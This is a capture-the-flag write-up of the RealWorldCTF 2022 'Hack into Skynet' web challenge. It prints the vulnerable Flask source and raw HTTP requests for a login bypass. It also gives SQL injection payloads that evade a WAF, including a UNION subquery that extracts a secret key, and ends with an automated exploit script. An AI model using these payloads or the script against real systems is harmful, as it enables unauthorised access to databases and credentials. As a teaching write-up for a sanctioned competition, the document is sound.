RealWorldCTF 2022 - Hack into Skynet [Web]

Real World CTF 2022 is one of the most complex CTF I have ever participated in, our team scored 44th out of 1921 teams with just 3/17 challenges solved.

We participated as r3vengers (Ripp3rs + Scavenger Security).

Description:

Hack into skynet to save the world, which way do you prefer?

Note: Skynet is a blackbox detection engine which is not provided. But you don't have to guess.

Note2: Scanner or sqlmap NOT REQUIRED to solve this challenge, please do not use scanners.

Target: 47.242.21.212:8081-8086/TCP

Given the web server source code:

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

@app.route('/static/<path:path>')
def static_files(path):
    return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
    if skynet_detect():
        return flask.abort(403)

    if not query_login_state():
        response = flask.make_response('No login, redirecting', 302)
        response.location = flask.escape('/login')
        return response

    if flask.request.method == 'GET':
        return flask.send_from_directory('', 'index.html')
    elif flask.request.method == 'POST':
        kt = query_kill_time()
        if kt:
            result = kt 
        else:
            result = ''
        return flask.render_template('index.html', result=result)
    else:
        return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

def query_login_state():
    sid = flask.request.cookies.get('SessionId', '')
    if not sid:
        return False

    now = datetime.datetime.now()
    with psycopg2.connect(
            host="challenge-db",
            database="ctf",
            user="ctf",
            password="ctf") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT sessionid"
           "  FROM login_session"
           "  WHERE sessionid = %s"
           "    AND valid_since <= %s"
           "    AND valid_until >= %s"
           "", (sid, now, now))
        data = [r for r in cursor.fetchall()]
        return bool(data)

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

def create_session():
    valid_since = datetime.datetime.now()
    valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
    sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

    sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
           "  VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
    return sessionid

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def sql_exec_update(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            conn.commit()
    except Exception as e:
        print(e)
    return data

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

Step 1 - Unintended (Login Bypass)

During the CTF, I found an unintended solution to bypass the login form. Original request had several extra headers with no relevance in this case, but I removed them to make this post easier to read:

POST /login HTTP/1.1
Host: 47.242.21.212:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Connection: close

:)username=w00t&password=w00t

Sending a random string or character after the latest header Connection: close and before the username parameter, in this case the smiley face :) will make the application consider :)username as key, so username = flask.request.form.get('username', '') just returns an empty string: '', it even works with a white space:

POST /login HTTP/1.1
Host: 47.242.21.212:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Connection: close

 username=w00t&password=w00t

Two empty lines: \r\n:

POST /login HTTP/1.1
Host: 47.242.21.212:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Connection: close


username=w00t&password=w00t

Or any other input, which would make the create_session() function to be called and a SessionId cookie to be returned to us:

HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 13
Set-Cookie: SessionId=9250d6279d2cb85a072548e570ea82a2; Path=/
Location: http://47.242.21.212:8081/
Server: Werkzeug/0.16.1 Python/3.8.10
Date: Sun, 23 Jan 2022 19:11:46 GMT

Login success

Step 1 - Intended (Login Bypass)

Reading the source code, we can find that the create_session() function is being called inside the @app.route('/login', methods=['GET', 'POST']) decorator. The goal is calling that specific function to obtain a SessionId cookie, and can be called if the back-end gets into the first elif -> else conditions:

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

We need to make a POST request to the /login endpoint, and the query_login_attempt() which contains the following:

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

It has to return a True boolean when called, however the if not username and not password must be bypassed, which is very easy as it is checking if BOTH the username and password parameters are NOT empty, but it is not checking them separately so one could just contain nothing, the correct way to check for this should be: if not username or not password:. Having this statement bypassed, the only remaining confusing line to approach the challenge should be understanding what name = user[0][1] if user and user[0] and user[0][1] else '' actually is; it can be translated into the following:

if user and user[0] and user[0][1]:
	name = user[0][1]
else:
	''

I am replicating the PostgreSQL scenario in localhost with the structure given in the source code to explain this in depth:

CREATE TABLE target_credentials(
id serial PRIMARY KEY,
account VARCHAR (50),
password VARCHAR (50) 
);

Inserting some values into the table:

INSERT INTO                                          
        target_credentials(id, account, password)
VALUES                              
        (1, 'r1p', 'p4ssw0rdr1p'),
        (2, 'alex', '0x1337')
RETURNING *;

And a simple Python code to establish a connection to debug the application:

import psycopg2
import hashlib
import sys

def query_login_attempt(username, password):
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(password)

    user = sql_exec(sql)

    name = user[0][1] if user and user[0] and user[0][1] else ''

    print(f"User[0] -> {user[0]}")
    print(f"User[0][1] -> {user[0][1]}")
    print("")

    print(f"user: {user}")
    print(f"name: {name}")
    print(f"username: {username}")
    print("")

    return name == username

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="localhost",
                database="ctf",
                user="postgres",
                password="postgres") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def create_session():
    sessionid = "Cookie: TestCookie :D"
    return sessionid

def main():
    if not query_login_attempt(sys.argv[1], sys.argv[2]):
        print("No cookie created")
    else:
        print(create_session())

main()

Being user the variable that stores the SQL output of the query sent to the server, we can actually see that user[0] is the first output the PostgreSQL gives us, and user[0][1] the [1] (second element starting by zero) is the account column from the first output the PostgreSQL returns. Note that in the real environment we have no knowledge at all of the user's password, I have only done this step to properly explain how the lists are working in this scenario.

At this point, I commented out the 16th and 17th lines to avoid my program to crash:

    # print(f"User[0] -> {user[0]}")
    # print(f"User[0][1] -> {user[0][1]}")

And now we can see that if we submit a blank username, the query_login_attempt() function returns True:

So the function create_session() returns us the cookie. Testing this behavior in the real platform grants us the cookie as expected:

Step 2 - Retrieving the flag with SQL injection

Using the cookie gathered by the unintended or intended login bypass, we can access the web root directory, but this time authenticated, which shows the following panel:

Sending a random string, the web application replies with "Target not found":

But we can trick this using a simple SQL injection payload such as ' OR '1:

Or encoded as '%20OR%20'1:

The WAF mechanism under the application seems a little bit complex, it's able to catch most SQL structures sent to it, so very few payloads or tricks should work in this scenario. I found that by using the OFFSET statement, we can enumerate the usernames and their date of bird stored on the database, as shown on the code:

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

Using name:' OR True OFFSET 0 -- we can gather the username "skynet" and "1997-04-19 00:00:00":

And so on until the name:' OR True OFFSET 12 -- payload, as the 13th shows again the "Target not found" error.

Now we do have a list of usernames with their DOB as mentioned before:

name=' OR True OFFSET 0 --   -> skynet: 1997-04-19 00:00:00
name=' OR True OFFSET 1 --   -> john.connor: 1984-01-01 00:00:00
name=' OR True OFFSET 2 --   -> sarah.connor: 1961-01-01 00:00:00
name=' OR True OFFSET 3 --   -> T-800: 2027-04-01 00:00:00
name=' OR True OFFSET 4 --   -> T-1000: 2028-04-01 00:00:00
name=' OR True OFFSET 5 --   -> miles.dyson: 1958-12-21 00:00:00
name=' OR True OFFSET 6 --   -> kyle.reese: 2005-06-29 00:00:00
name=' OR True OFFSET 7 --   -> todd.voight: 2015-01-01 00:00:00
name=' OR True OFFSET 8 --   -> enrique.salceda: 2015-01-01 00:00:00
name=' OR True OFFSET 9 --   -> janelle.voight: 2015-01-01 00:00:00
name=' OR True OFFSET 10 --  -> adam.silberman: 2015-01-01 00:00:00
name=' OR True OFFSET 11 --  -> T-X: 2029-04-01 00:00:00
name=' OR True OFFSET 12 --  -> kate.connor: 2013-01-02 00:00:00

And by using the search tool by passing the name as argument on the name parameter, we can only find the ones that are already born:

skynet: 1997-04-19 00:00:00
john.connor: 1984-01-01 00:00:00
sarah.connor: 1961-01-01 00:00:00
miles.dyson: 1958-12-21 00:00:00
kyle.reese: 2005-06-29 00:00:00
todd.voight: 2015-01-01 00:00:00
enrique.salceda: 2015-01-01 00:00:00
janelle.voight: 2015-01-01 00:00:00
adam.silberman: 2015-01-01 00:00:00
kate.connor: 2013-01-02 00:00:00

But... this information won't be useful to us. Trying more different queries and methodologies about SQL and WAF, we realized that the OFFSET statement could be used to make sub-queries. Using 'union SELECT null, (SELECT secret_key from target_credentials OFFSET 0 limit 1) OFFSET 0 limit 1 -- we could retrieve the flag:

rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

Autopwn exploit to solve this task:

import requests
import re

proxies = {
        "http": "http://localhost:8080",
        "https": "https://localhost:8080",
}

URL = "http://47.242.21.212:8081"
LOGIN_URL = URL + "/login"

def retrieveCookie(LOGIN_URL, proxies):
        data = {"username":"", "password":"blah"}
        session = requests.Session()
        cookie_request = session.post(LOGIN_URL, data=data, proxies=proxies)

        if "SessionId" in session.cookies.get_dict():
                print(f"[+] SessionId cookie retrieved: {session.cookies['SessionId']}")
                return session.cookies.get_dict()

        print("[-] Cookie not found :(")
        return False


def retrieveFlag(URL, cookie):
        payload = "'union SELECT null, (SELECT secret_key from target_credentials OFFSET 0 limit 1) OFFSET 0 limit 1 --"
        data = {"name": payload}
        session = requests.Session()
        flag_request = session.post(URL, data=data, cookies=cookie, proxies=proxies)

        if "rwctf" in flag_request.text:
                pat = re.compile("rwctf{.{44}}")
                print(f"[+] Flag found: {pat.findall(flag_request.text)[0]}")
                return True

        print("[-] Flag not found :(")
        return False

def main():
        cookie = retrieveCookie(LOGIN_URL, proxies)
        retrieveFlag(URL, cookie)

main()